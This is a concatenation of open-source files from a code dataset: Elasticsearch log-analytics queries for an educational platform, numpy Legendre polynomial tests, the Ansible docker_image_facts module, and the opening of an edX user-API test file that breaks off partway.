userid=0): s = Search().extra(size=0) s = s.query( "bool", must=[ Q("range", datetime={"time_zone": "-03:00", "gte": "now-7d", "lte": "now"}), Q( "bool", should=[ Q( "bool", must=[ Q("match", component="subject"), Q("match", resource="subject"), ], ), Q("match", component="resources"), ], ), Q("match", **{"context__subject_id": subject}), Q("match", user_id=userid), Q("bool", should=[Q("match", action="access"), Q("match", action="view")]), ], ) return s[0:10000] def count_diff_days(subject, userid): s = Search().extra(size=0) s = s.query( "bool", must=[ Q("range", datetime={"time_zone": "-03:00", "gte": "now-7d", "lte": "now"}), Q("match", resource="subject"), Q("match", **{"context__subject_id": subject}), Q("match", user_id=userid), Q("bool", should=[Q("match", action="access"), Q("match", action="view")]), ], ) s.aggs.bucket("dt", "date_histogram", field="datetime", interval="day") return s[0:10000] def count_access_resources(subject, userid): s = Search().extra(size=0) s = s.query( "bool", must=[ Q("range", datetime={"time_zone": "-03:00", "gte": "now-7d", "lte": "now"}), Q("match", component="resources"), Q("match", **{"context__subject_id": subject}), Q("match", user_id=userid), ], ) return s[0:10000] def count_access_subject_period(subject, userid, data_ini, data_end): s = Search().extra(size=0) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", **{"context__subject_id": subject}), Q("match", user_id=userid), ], ) return s[0:10000] def count_daily_access(subject, students, day): s = Search() s = s.query( "bool", must=[ Q("range", datetime={"time_zone": "-03:00", "gte": day, "lte": day}), Q( "bool", should=[ Q( "bool", must=[ Q("match", component="subject"), Q("match", resource="subject"), ], ), Q("match", component="resources"), ], ), Q("match", **{"context__subject_id": subject}), Q("terms", user_id=students), Q("bool", should=[Q("match", action="access"), Q("match", action="view")]), ], ) return s[0:10000] def multi_search(searchs): ms = MultiSearch(using=conn, index="log-index") for search in searchs: ms = ms.add(search) response = ms.execute() return response def count_daily_general_logs_access(day): s = Search() s = s.query( "bool", must=[Q("range", datetime={"time_zone": "-03:00", "gte": day, "lte": day}),], ) return s def count_daily_general_logs_access1(day): s = Search() s = s.query( "bool", must=[ Q( "range", datetime={ "time_zone": "-03:00", "gte": day, "lte": day + timedelta(hours=15), }, ), ], ) return s def count_daily_general_logs_access2(day): s = Search() s = s.query( "bool", must=[ Q( "range", datetime={ "time_zone": "-03:00", "gte": day + timedelta(hours=15), "lte": day + timedelta(hours=24), }, ), ], ) return s def user_last_interaction_in_period(userid, data_ini, data_end): s = Search().extra(size=0) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", user_id=userid), ], ) return s def count_general_access_subject_period(subject, data_ini, data_end): s = Search().extra(size=0) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q( "bool", should=[ Q( "bool", must=[ Q("match", component="subject"), Q("match", resource="subject"), ], ), Q("match", component="resources"), ], ), Q("match", **{"context__subject_id": subject}), Q("bool", should=[Q("match", action="access"), Q("match", action="view")]), ], ) return s def count_general_logs_period(resources, data_ini, data_end): s = Search().extra(size=0) conds = [] for res in resources: conds.append(Q("match", **{"context__resource_ptr_id": res.id})) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", component="resources"), Q("bool", should=[Q("match", action="access"), Q("match", action="view")],), Q("bool", should=conds), ], ) return s[0:10000] def count_general_daily_access(students, day): s = Search().extra(collapse={'field': 'user_id'}) s = s.query( "bool", must=[ Q("range", datetime={"time_zone": "-03:00", "gte": day, "lte": day}), Q("terms", user_id=students), ], ).sort("-datetime") return s[0:10000] def count_general_resource_logs_period(subjects, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) conds = [] for sub in subjects: conds.append(Q("match", **{"context__subject_id": sub.id})) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("bool", should=conds), Q("match", component="resources"), Q( "bool", should=[ Q("match", resource="bulletin"), Q("match", resource="pdffile"), Q("match", resource="pdf_file"), Q("match", resource="ytvideo"), Q("match", resource="filelink"), Q("match", resource="link"), Q("match", resource="goals"), Q("match", resource="webpage"), Q("match", resource="questionary"), Q("match", resource="webconference"), Q("match", resource="my_goals"), ], ), ], ) return s def count_general_access_period(user, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", user_id=user), ], ) return s def count_mural_comments(user, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", user_id=user), Q("match", action="create_comment"), ], ) return s def count_chat_messages(user, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", user_id=user), Q( "bool", should=[Q("match", action="send"), Q("match", action="create_post"),], ), Q("match", component="chat"), ], ) return s def count_resources(user, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", user_id=user), Q("match", action="create"), Q("match", component="resources"), ], ) return s def count_logs_in_day(usersList, day): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q("range", datetime={"time_zone": "-03:00", "gte": day, "lte": day},), Q("terms", user_id=usersList), ], ) return s def count_categories_logs_period(category, usersList, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", **{"context__category_id": category.id}), Q("terms", user_id=usersList), ], ) return s def count_subject_logs_period(subject, usersList, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", **{"context__subject_id": subject.id}), Q("terms", user_id=usersList), ], ) return s def count_resources_logs_period(resource, usersList, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", **{"context__" + resource._my_subclass + "_id": resource.id}), Q("terms", user_id=usersList), ], ) return s def count_user_interactions(userid, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", user_id=userid), ], ) """Q( "terms", **{ "component.keyword": [ "category", "subejct", "topic", "resources", "chat", "mural", "pendencies", "mobile", ] } ),""" return s def teachers_xls(user, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", user_id=user), ], ) subjects = A("terms", field="context.subject_id") messages = ( A("terms", field="component.keyword", include=["chat"]) .metric("action", "terms", field="action.keyword", include=["send"]) .metric("resource", "terms", field="resource.keyword") ) mural = ( A("terms", field="component.keyword", include=["mural"]) .metric("action", "terms", field="action.keyword", include=["create_post", "create_comment"]) .metric("resource", "terms", field="resource.keyword") ) resources = ( A("terms", field="component.keyword", include=["resources"]) .metric("action", "terms", field="action.keyword", include=["create"]) .metric("resource", "terms", field="resource.keyword") ) s.aggs.bucket("subjects", subjects) s.aggs.bucket("messages", messages) s.aggs.bucket("mural", mural) s.aggs.bucket("resources", resources) return s def students_xls(user, data_ini, data_end): s = Search().extra(size=0, track_total_hits=True) s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", user_id=user), ], ) subjects = A("terms", field="context.subject_id") s.aggs.bucket("subjects", subjects) return s
gpl-2.0
clovett/MissionPlanner
Lib/site-packages/numpy/polynomial/tests/test_legendre.py
54
17744
"""Tests for legendre module. """ from __future__ import division import numpy as np import numpy.polynomial.legendre as leg import numpy.polynomial.polynomial as poly from numpy.testing import * P0 = np.array([ 1]) P1 = np.array([ 0, 1]) P2 = np.array([-1, 0, 3])/2 P3 = np.array([ 0, -3, 0, 5])/2 P4 = np.array([ 3, 0, -30, 0, 35])/8 P5 = np.array([ 0, 15, 0, -70, 0, 63])/8 P6 = np.array([-5, 0, 105, 0,-315, 0, 231])/16 P7 = np.array([ 0,-35, 0, 315, 0, -693, 0, 429])/16 P8 = np.array([35, 0,-1260, 0,6930, 0,-12012, 0,6435])/128 P9 = np.array([ 0,315, 0,-4620, 0,18018, 0,-25740, 0,12155])/128 Plist = [P0, P1, P2, P3, P4, P5, P6, P7, P8, P9] def trim(x) : return leg.legtrim(x, tol=1e-6) class TestConstants(TestCase) : def test_legdomain(self) : assert_equal(leg.legdomain, [-1, 1]) def test_legzero(self) : assert_equal(leg.legzero, [0]) def test_legone(self) : assert_equal(leg.legone, [1]) def test_legx(self) : assert_equal(leg.legx, [0, 1]) class TestArithmetic(TestCase) : x = np.linspace(-1, 1, 100) y0 = poly.polyval(x, P0) y1 = poly.polyval(x, P1) y2 = poly.polyval(x, P2) y3 = poly.polyval(x, P3) y4 = poly.polyval(x, P4) y5 = poly.polyval(x, P5) y6 = poly.polyval(x, P6) y7 = poly.polyval(x, P7) y8 = poly.polyval(x, P8) y9 = poly.polyval(x, P9) y = [y0, y1, y2, y3, y4, y5, y6, y7, y8, y9] def test_legval(self) : def f(x) : return x*(x**2 - 1) #check empty input assert_equal(leg.legval([], [1]).size, 0) #check normal input) for i in range(10) : msg = "At i=%d" % i ser = np.zeros tgt = self.y[i] res = leg.legval(self.x, [0]*i + [1]) assert_almost_equal(res, tgt, err_msg=msg) #check that shape is preserved for i in range(3) : dims = [2]*i x = np.zeros(dims) assert_equal(leg.legval(x, [1]).shape, dims) assert_equal(leg.legval(x, [1,0]).shape, dims) assert_equal(leg.legval(x, [1,0,0]).shape, dims) def test_legadd(self) : for i in range(5) : for j in range(5) : msg = "At i=%d, j=%d" % (i,j) tgt = np.zeros(max(i,j) + 1) tgt[i] += 1 tgt[j] += 1 res = leg.legadd([0]*i + [1], [0]*j + [1]) assert_equal(trim(res), trim(tgt), err_msg=msg) def test_legsub(self) : for i in range(5) : for j in range(5) : msg = "At i=%d, j=%d" % (i,j) tgt = np.zeros(max(i,j) + 1) tgt[i] += 1 tgt[j] -= 1 res = leg.legsub([0]*i + [1], [0]*j + [1]) assert_equal(trim(res), trim(tgt), err_msg=msg) def test_legmulx(self): assert_equal(leg.legmulx([0]), [0]) assert_equal(leg.legmulx([1]), [0,1]) for i in range(1, 5): tmp = 2*i + 1 ser = [0]*i + [1] tgt = [0]*(i - 1) + [i/tmp, 0, (i + 1)/tmp] assert_equal(leg.legmulx(ser), tgt) def test_legmul(self) : # check values of result for i in range(5) : pol1 = [0]*i + [1] val1 = leg.legval(self.x, pol1) for j in range(5) : msg = "At i=%d, j=%d" % (i,j) pol2 = [0]*j + [1] val2 = leg.legval(self.x, pol2) pol3 = leg.legmul(pol1, pol2) val3 = leg.legval(self.x, pol3) assert_(len(pol3) == i + j + 1, msg) assert_almost_equal(val3, val1*val2, err_msg=msg) def test_legdiv(self) : for i in range(5) : for j in range(5) : msg = "At i=%d, j=%d" % (i,j) ci = [0]*i + [1] cj = [0]*j + [1] tgt = leg.legadd(ci, cj) quo, rem = leg.legdiv(tgt, ci) res = leg.legadd(leg.legmul(quo, ci), rem) assert_equal(trim(res), trim(tgt), err_msg=msg) class TestCalculus(TestCase) : def test_legint(self) : # check exceptions assert_raises(ValueError, leg.legint, [0], .5) assert_raises(ValueError, leg.legint, [0], -1) assert_raises(ValueError, leg.legint, [0], 1, [0,0]) # test integration of zero polynomial for i in range(2, 5): k = [0]*(i - 2) + [1] res = leg.legint([0], m=i, k=k) assert_almost_equal(res, [0, 1]) # check single integration with integration constant for i in range(5) : scl = i + 1 pol = [0]*i + [1] tgt = [i] + [0]*i + [1/scl] legpol = leg.poly2leg(pol) legint = leg.legint(legpol, m=1, k=[i]) res = leg.leg2poly(legint) assert_almost_equal(trim(res), trim(tgt)) # check single integration with integration constant and lbnd for i in range(5) : scl = i + 1 pol = [0]*i + [1] legpol = leg.poly2leg(pol) legint = leg.legint(legpol, m=1, k=[i], lbnd=-1) assert_almost_equal(leg.legval(-1, legint), i) # check single integration with integration constant and scaling for i in range(5) : scl = i + 1 pol = [0]*i + [1] tgt = [i] + [0]*i + [2/scl] legpol = leg.poly2leg(pol) legint = leg.legint(legpol, m=1, k=[i], scl=2) res = leg.leg2poly(legint) assert_almost_equal(trim(res), trim(tgt)) # check multiple integrations with default k for i in range(5) : for j in range(2,5) : pol = [0]*i + [1] tgt = pol[:] for k in range(j) : tgt = leg.legint(tgt, m=1) res = leg.legint(pol, m=j) assert_almost_equal(trim(res), trim(tgt)) # check multiple integrations with defined k for i in range(5) : for j in range(2,5) : pol = [0]*i + [1] tgt = pol[:] for k in range(j) : tgt = leg.legint(tgt, m=1, k=[k]) res = leg.legint(pol, m=j, k=range(j)) assert_almost_equal(trim(res), trim(tgt)) # check multiple integrations with lbnd for i in range(5) : for j in range(2,5) : pol = [0]*i + [1] tgt = pol[:] for k in range(j) : tgt = leg.legint(tgt, m=1, k=[k], lbnd=-1) res = leg.legint(pol, m=j, k=range(j), lbnd=-1) assert_almost_equal(trim(res), trim(tgt)) # check multiple integrations with scaling for i in range(5) : for j in range(2,5) : pol = [0]*i + [1] tgt = pol[:] for k in range(j) : tgt = leg.legint(tgt, m=1, k=[k], scl=2) res = leg.legint(pol, m=j, k=range(j), scl=2) assert_almost_equal(trim(res), trim(tgt)) def test_legder(self) : # check exceptions assert_raises(ValueError, leg.legder, [0], .5) assert_raises(ValueError, leg.legder, [0], -1) # check that zeroth deriviative does nothing for i in range(5) : tgt = [1] + [0]*i res = leg.legder(tgt, m=0) assert_equal(trim(res), trim(tgt)) # check that derivation is the inverse of integration for i in range(5) : for j in range(2,5) : tgt = [1] + [0]*i res = leg.legder(leg.legint(tgt, m=j), m=j) assert_almost_equal(trim(res), trim(tgt)) # check derivation with scaling for i in range(5) : for j in range(2,5) : tgt = [1] + [0]*i res = leg.legder(leg.legint(tgt, m=j, scl=2), m=j, scl=.5) assert_almost_equal(trim(res), trim(tgt)) class TestMisc(TestCase) : def test_legfromroots(self) : res = leg.legfromroots([]) assert_almost_equal(trim(res), [1]) for i in range(1,5) : roots = np.cos(np.linspace(-np.pi, 0, 2*i + 1)[1::2]) pol = leg.legfromroots(roots) res = leg.legval(roots, pol) tgt = 0 assert_(len(pol) == i + 1) assert_almost_equal(leg.leg2poly(pol)[-1], 1) assert_almost_equal(res, tgt) def test_legroots(self) : assert_almost_equal(leg.legroots([1]), []) assert_almost_equal(leg.legroots([1, 2]), [-.5]) for i in range(2,5) : tgt = np.linspace(-1, 1, i) res = leg.legroots(leg.legfromroots(tgt)) assert_almost_equal(trim(res), trim(tgt)) def test_legvander(self) : # check for 1d x x = np.arange(3) v = leg.legvander(x, 3) assert_(v.shape == (3,4)) for i in range(4) : coef = [0]*i + [1] assert_almost_equal(v[...,i], leg.legval(x, coef)) # check for 2d x x = np.array([[1,2],[3,4],[5,6]]) v = leg.legvander(x, 3) assert_(v.shape == (3,2,4)) for i in range(4) : coef = [0]*i + [1] assert_almost_equal(v[...,i], leg.legval(x, coef)) def test_legfit(self) : def f(x) : return x*(x - 1)*(x - 2) # Test exceptions assert_raises(ValueError, leg.legfit, [1], [1], -1) assert_raises(TypeError, leg.legfit, [[1]], [1], 0) assert_raises(TypeError, leg.legfit, [], [1], 0) assert_raises(TypeError, leg.legfit, [1], [[[1]]], 0) assert_raises(TypeError, leg.legfit, [1, 2], [1], 0) assert_raises(TypeError, leg.legfit, [1], [1, 2], 0) assert_raises(TypeError, leg.legfit, [1], [1], 0, w=[[1]]) assert_raises(TypeError, leg.legfit, [1], [1], 0, w=[1,1]) # Test fit x = np.linspace(0,2) y = f(x) # coef3 = leg.legfit(x, y, 3) assert_equal(len(coef3), 4) assert_almost_equal(leg.legval(x, coef3), y) # coef4 = leg.legfit(x, y, 4) assert_equal(len(coef4), 5) assert_almost_equal(leg.legval(x, coef4), y) # coef2d = leg.legfit(x, np.array([y,y]).T, 3) assert_almost_equal(coef2d, np.array([coef3,coef3]).T) # test weighting w = np.zeros_like(x) yw = y.copy() w[1::2] = 1 y[0::2] = 0 wcoef3 = leg.legfit(x, yw, 3, w=w) assert_almost_equal(wcoef3, coef3) # wcoef2d = leg.legfit(x, np.array([yw,yw]).T, 3, w=w) assert_almost_equal(wcoef2d, np.array([coef3,coef3]).T) def test_legtrim(self) : coef = [2, -1, 1, 0] # Test exceptions assert_raises(ValueError, leg.legtrim, coef, -1) # Test results assert_equal(leg.legtrim(coef), coef[:-1]) assert_equal(leg.legtrim(coef, 1), coef[:-3]) assert_equal(leg.legtrim(coef, 2), [0]) def test_legline(self) : assert_equal(leg.legline(3,4), [3, 4]) def test_leg2poly(self) : for i in range(10) : assert_almost_equal(leg.leg2poly([0]*i + [1]), Plist[i]) def test_poly2leg(self) : for i in range(10) : assert_almost_equal(leg.poly2leg(Plist[i]), [0]*i + [1]) def assert_poly_almost_equal(p1, p2): assert_almost_equal(p1.coef, p2.coef) assert_equal(p1.domain, p2.domain) class TestLegendreClass(TestCase) : p1 = leg.Legendre([1,2,3]) p2 = leg.Legendre([1,2,3], [0,1]) p3 = leg.Legendre([1,2]) p4 = leg.Legendre([2,2,3]) p5 = leg.Legendre([3,2,3]) def test_equal(self) : assert_(self.p1 == self.p1) assert_(self.p2 == self.p2) assert_(not self.p1 == self.p2) assert_(not self.p1 == self.p3) assert_(not self.p1 == [1,2,3]) def test_not_equal(self) : assert_(not self.p1 != self.p1) assert_(not self.p2 != self.p2) assert_(self.p1 != self.p2) assert_(self.p1 != self.p3) assert_(self.p1 != [1,2,3]) def test_add(self) : tgt = leg.Legendre([2,4,6]) assert_(self.p1 + self.p1 == tgt) assert_(self.p1 + [1,2,3] == tgt) assert_([1,2,3] + self.p1 == tgt) def test_sub(self) : tgt = leg.Legendre([1]) assert_(self.p4 - self.p1 == tgt) assert_(self.p4 - [1,2,3] == tgt) assert_([2,2,3] - self.p1 == tgt) def test_mul(self) : tgt = leg.Legendre([4.13333333, 8.8, 11.23809524, 7.2, 4.62857143]) assert_poly_almost_equal(self.p1 * self.p1, tgt) assert_poly_almost_equal(self.p1 * [1,2,3], tgt) assert_poly_almost_equal([1,2,3] * self.p1, tgt) def test_floordiv(self) : tgt = leg.Legendre([1]) assert_(self.p4 // self.p1 == tgt) assert_(self.p4 // [1,2,3] == tgt) assert_([2,2,3] // self.p1 == tgt) def test_mod(self) : tgt = leg.Legendre([1]) assert_((self.p4 % self.p1) == tgt) assert_((self.p4 % [1,2,3]) == tgt) assert_(([2,2,3] % self.p1) == tgt) def test_divmod(self) : tquo = leg.Legendre([1]) trem = leg.Legendre([2]) quo, rem = divmod(self.p5, self.p1) assert_(quo == tquo and rem == trem) quo, rem = divmod(self.p5, [1,2,3]) assert_(quo == tquo and rem == trem) quo, rem = divmod([3,2,3], self.p1) assert_(quo == tquo and rem == trem) def test_pow(self) : tgt = leg.Legendre([1]) for i in range(5) : res = self.p1**i assert_(res == tgt) tgt = tgt*self.p1 def test_call(self) : # domain = [-1, 1] x = np.linspace(-1, 1) tgt = 3*(1.5*x**2 - .5) + 2*x + 1 assert_almost_equal(self.p1(x), tgt) # domain = [0, 1] x = np.linspace(0, 1) xx = 2*x - 1 assert_almost_equal(self.p2(x), self.p1(xx)) def test_degree(self) : assert_equal(self.p1.degree(), 2) def test_trimdeg(self) : assert_raises(ValueError, self.p1.cutdeg, .5) assert_raises(ValueError, self.p1.cutdeg, -1) assert_equal(len(self.p1.cutdeg(3)), 3) assert_equal(len(self.p1.cutdeg(2)), 3) assert_equal(len(self.p1.cutdeg(1)), 2) assert_equal(len(self.p1.cutdeg(0)), 1) def test_convert(self) : x = np.linspace(-1,1) p = self.p1.convert(domain=[0,1]) assert_almost_equal(p(x), self.p1(x)) def test_mapparms(self) : parms = self.p2.mapparms() assert_almost_equal(parms, [-1, 2]) def test_trim(self) : coef = [1, 1e-6, 1e-12, 0] p = leg.Legendre(coef) assert_equal(p.trim().coef, coef[:3]) assert_equal(p.trim(1e-10).coef, coef[:2]) assert_equal(p.trim(1e-5).coef, coef[:1]) def test_truncate(self) : assert_raises(ValueError, self.p1.truncate, .5) assert_raises(ValueError, self.p1.truncate, 0) assert_equal(len(self.p1.truncate(4)), 3) assert_equal(len(self.p1.truncate(3)), 3) assert_equal(len(self.p1.truncate(2)), 2) assert_equal(len(self.p1.truncate(1)), 1) def test_copy(self) : p = self.p1.copy() assert_(self.p1 == p) def test_integ(self) : p = self.p2.integ() assert_almost_equal(p.coef, leg.legint([1,2,3], 1, 0, scl=.5)) p = self.p2.integ(lbnd=0) assert_almost_equal(p(0), 0) p = self.p2.integ(1, 1) assert_almost_equal(p.coef, leg.legint([1,2,3], 1, 1, scl=.5)) p = self.p2.integ(2, [1, 2]) assert_almost_equal(p.coef, leg.legint([1,2,3], 2, [1,2], scl=.5)) def test_deriv(self) : p = self.p2.integ(2, [1, 2]) assert_almost_equal(p.deriv(1).coef, self.p2.integ(1, [1]).coef) assert_almost_equal(p.deriv(2).coef, self.p2.coef) def test_roots(self) : p = leg.Legendre(leg.poly2leg([0, -1, 0, 1]), [0, 1]) res = p.roots() tgt = [0, .5, 1] assert_almost_equal(res, tgt) def test_linspace(self): xdes = np.linspace(0, 1, 20) ydes = self.p2(xdes) xres, yres = self.p2.linspace(20) assert_almost_equal(xres, xdes) assert_almost_equal(yres, ydes) def test_fromroots(self) : roots = [0, .5, 1] p = leg.Legendre.fromroots(roots, domain=[0, 1]) res = p.coef tgt = leg.poly2leg([0, -1, 0, 1]) assert_almost_equal(res, tgt) def test_fit(self) : def f(x) : return x*(x - 1)*(x - 2) x = np.linspace(0,3) y = f(x) # test default value of domain p = leg.Legendre.fit(x, y, 3) assert_almost_equal(p.domain, [0,3]) # test that fit works in given domains p = leg.Legendre.fit(x, y, 3, None) assert_almost_equal(p(x), y) assert_almost_equal(p.domain, [0,3]) p = leg.Legendre.fit(x, y, 3, []) assert_almost_equal(p(x), y) assert_almost_equal(p.domain, [-1, 1]) # test that fit accepts weights. w = np.zeros_like(x) yw = y.copy() w[1::2] = 1 yw[0::2] = 0 p = leg.Legendre.fit(x, yw, 3, w=w) assert_almost_equal(p(x), y) def test_identity(self) : x = np.linspace(0,3) p = leg.Legendre.identity() assert_almost_equal(p(x), x) p = leg.Legendre.identity([1,3]) assert_almost_equal(p(x), x)
gpl-3.0
benthomasson/ansible
lib/ansible/modules/cloud/docker/docker_image_facts.py
9
6502
#!/usr/bin/python # # Copyright 2016 Red Hat | Ansible # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.0', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: docker_image_facts short_description: Inspect docker images version_added: "2.1.0" description: - Provide one or more image names, and the module will inspect each, returning an array of inspection results. options: name: description: - An image name or a list of image names. Name format will be name[:tag] or repository/name[:tag], where tag is optional. If a tag is not provided, 'latest' will be used. default: null required: true extends_documentation_fragment: - docker requirements: - "python >= 2.6" - "docker-py >= 1.7.0" - "Docker API >= 1.20" author: - Chris Houseknecht (@chouseknecht) - James Tanner (@jctanner) ''' EXAMPLES = ''' - name: Inspect a single image docker_image_facts: name: pacur/centos-7 - name: Inspect multiple images docker_image_facts: name: - pacur/centos-7 - sinatra ''' RETURN = ''' images: description: Facts for the selected images. returned: always type: dict sample: [ { "Architecture": "amd64", "Author": "", "Comment": "", "Config": { "AttachStderr": false, "AttachStdin": false, "AttachStdout": false, "Cmd": [ "/etc/docker/registry/config.yml" ], "Domainname": "", "Entrypoint": [ "/bin/registry" ], "Env": [ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ], "ExposedPorts": { "5000/tcp": {} }, "Hostname": "e5c68db50333", "Image": "c72dce2618dc8f7b794d2b2c2b1e64e0205ead5befc294f8111da23bd6a2c799", "Labels": {}, "OnBuild": [], "OpenStdin": false, "StdinOnce": false, "Tty": false, "User": "", "Volumes": { "/var/lib/registry": {} }, "WorkingDir": "" }, "Container": "e83a452b8fb89d78a25a6739457050131ca5c863629a47639530d9ad2008d610", "ContainerConfig": { "AttachStderr": false, "AttachStdin": false, "AttachStdout": false, "Cmd": [ "/bin/sh", "-c", '#(nop) CMD ["/etc/docker/registry/config.yml"]' ], "Domainname": "", "Entrypoint": [ "/bin/registry" ], "Env": [ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ], "ExposedPorts": { "5000/tcp": {} }, "Hostname": "e5c68db50333", "Image": "c72dce2618dc8f7b794d2b2c2b1e64e0205ead5befc294f8111da23bd6a2c799", "Labels": {}, "OnBuild": [], "OpenStdin": false, "StdinOnce": false, "Tty": false, "User": "", "Volumes": { "/var/lib/registry": {} }, "WorkingDir": "" }, "Created": "2016-03-08T21:08:15.399680378Z", "DockerVersion": "1.9.1", "GraphDriver": { "Data": null, "Name": "aufs" }, "Id": "53773d8552f07b730f3e19979e32499519807d67b344141d965463a950a66e08", "Name": "registry:2", "Os": "linux", "Parent": "f0b1f729f784b755e7bf9c8c2e65d8a0a35a533769c2588f02895f6781ac0805", "RepoDigests": [], "RepoTags": [ "registry:2" ], "Size": 0, "VirtualSize": 165808884 } ] ''' try: from docker import utils except ImportError: # missing docker-py handled in docker_common pass from ansible.module_utils.docker_common import AnsibleDockerClient, DockerBaseClass class ImageManager(DockerBaseClass): def __init__(self, client, results): super(ImageManager, self).__init__() self.client = client self.results = results self.name = self.client.module.params.get('name') self.log("Gathering facts for images: %s" % (str(self.name))) if self.name: self.results['images'] = self.get_facts() else: self.results['images'] = self.get_all_images() def fail(self, msg): self.client.fail(msg) def get_facts(self): ''' Lookup and inspect each image name found in the names parameter. :returns array of image dictionaries ''' results = [] names = self.name if not isinstance(names, list): names = [names] for name in names: repository, tag = utils.parse_repository_tag(name) if not tag: tag = 'latest' self.log('Fetching image %s:%s' % (repository, tag)) image = self.client.find_image(name=repository, tag=tag) if image: results.append(image) return results def get_all_images(self): results = [] images = self.client.images() for image in images: try: inspection = self.client.inspect_image(image['Id']) except Exception as exc: self.fail("Error inspecting image %s - %s" % (image['Id'], str(exc))) results.append(inspection) return results def main(): argument_spec = dict( name=dict(type='list'), ) client = AnsibleDockerClient( argument_spec=argument_spec ) results = dict( changed=False, images=[] ) ImageManager(client, results) client.module.exit_json(**results) if __name__ == '__main__': main()
gpl-3.0
openiitbombayx/edx-platform
openedx/core/djangoapps/user_api/accounts/tests/test_views.py
39
33313
# -*- coding: utf-8 -*- import datetime from copy import deepcopy import ddt import hashlib import json from mock import patch from pytz import UTC import unittest from django.conf import settings from django.core.urlresolvers import reverse from django.test.testcases import TransactionTestCase from django.test.utils import override_settings from rest_framework.test import APITestCase, APIClient from student.tests.factories import UserFactory from student.models import UserProfile, LanguageProficiency, PendingEmailChange from openedx.core.djangoapps.user_api.accounts import ACCOUNT_VISIBILITY_PREF_KEY from openedx.core.djangoapps.user_api.preferences.api import set_user_preference from .. import PRIVATE_VISIBILITY, ALL_USERS_VISIBILITY TEST_PROFILE_IMAGE_UPLOADED_AT = datetime.datetime(2002, 1, 9, 15, 43, 01, tzinfo=UTC) # this is used in one test to check the behavior of profile image url # generation with a relative url in the config. TEST_PROFILE_IMAGE_BACKEND = deepcopy(settings.PROFILE_IMAGE_BACKEND) TEST_PROFILE_IMAGE_BACKEND['options']['base_url'] = '/profile-images/' class UserAPITestCase(APITestCase): """ The base class for all tests of the User API """ test_password = "test" def setUp(self): super(UserAPITestCase, self).setUp() self.anonymous_client = APIClient() self.different_user = UserFactory.create(password=self.test_password) self.different_client = APIClient() self.staff_user = UserFactory(is_staff=True, password=self.test_password) self.staff_client = APIClient() self.user = UserFactory.create(password=self.test_password) # will be assigned to self.client by default def login_client(self, api_client, user): """Helper method for getting the client and user and logging in. Returns client. """ client = getattr(self, api_client) user = getattr(self, user) client.login(username=user.username, password=self.test_password) return client def send_patch(self, client, json_data, content_type="application/merge-patch+json", expected_status=204): """ Helper method for sending a patch to the server, defaulting to application/merge-patch+json content_type. Verifies the expected status and returns the response. """ # pylint: disable=no-member response = client.patch(self.url, data=json.dumps(json_data), content_type=content_type) self.assertEqual(expected_status, response.status_code) return response def send_get(self, client, query_parameters=None, expected_status=200): """ Helper method for sending a GET to the server. Verifies the expected status and returns the response. """ url = self.url + '?' + query_parameters if query_parameters else self.url # pylint: disable=no-member response = client.get(url) self.assertEqual(expected_status, response.status_code) return response def send_put(self, client, json_data, content_type="application/json", expected_status=204): """ Helper method for sending a PUT to the server. Verifies the expected status and returns the response. """ response = client.put(self.url, data=json.dumps(json_data), content_type=content_type) self.assertEqual(expected_status, response.status_code) return response def send_delete(self, client, expected_status=204): """ Helper method for sending a DELETE to the server. Verifies the expected status and returns the response. """ response = client.delete(self.url) self.assertEqual(expected_status, response.status_code) return response def create_mock_profile(self, user): """ Helper method that creates a mock profile for the specified user :return: """ legacy_profile = UserProfile.objects.get(id=user.id) legacy_profile.country = "US" legacy_profile.level_of_education = "m" legacy_profile.year_of_birth = 2000 legacy_profile.goals = "world peace" legacy_profile.mailing_address = "Park Ave" legacy_profile.gender = "f" legacy_profile.bio = "Tired mother of twins" legacy_profile.profile_image_uploaded_at = 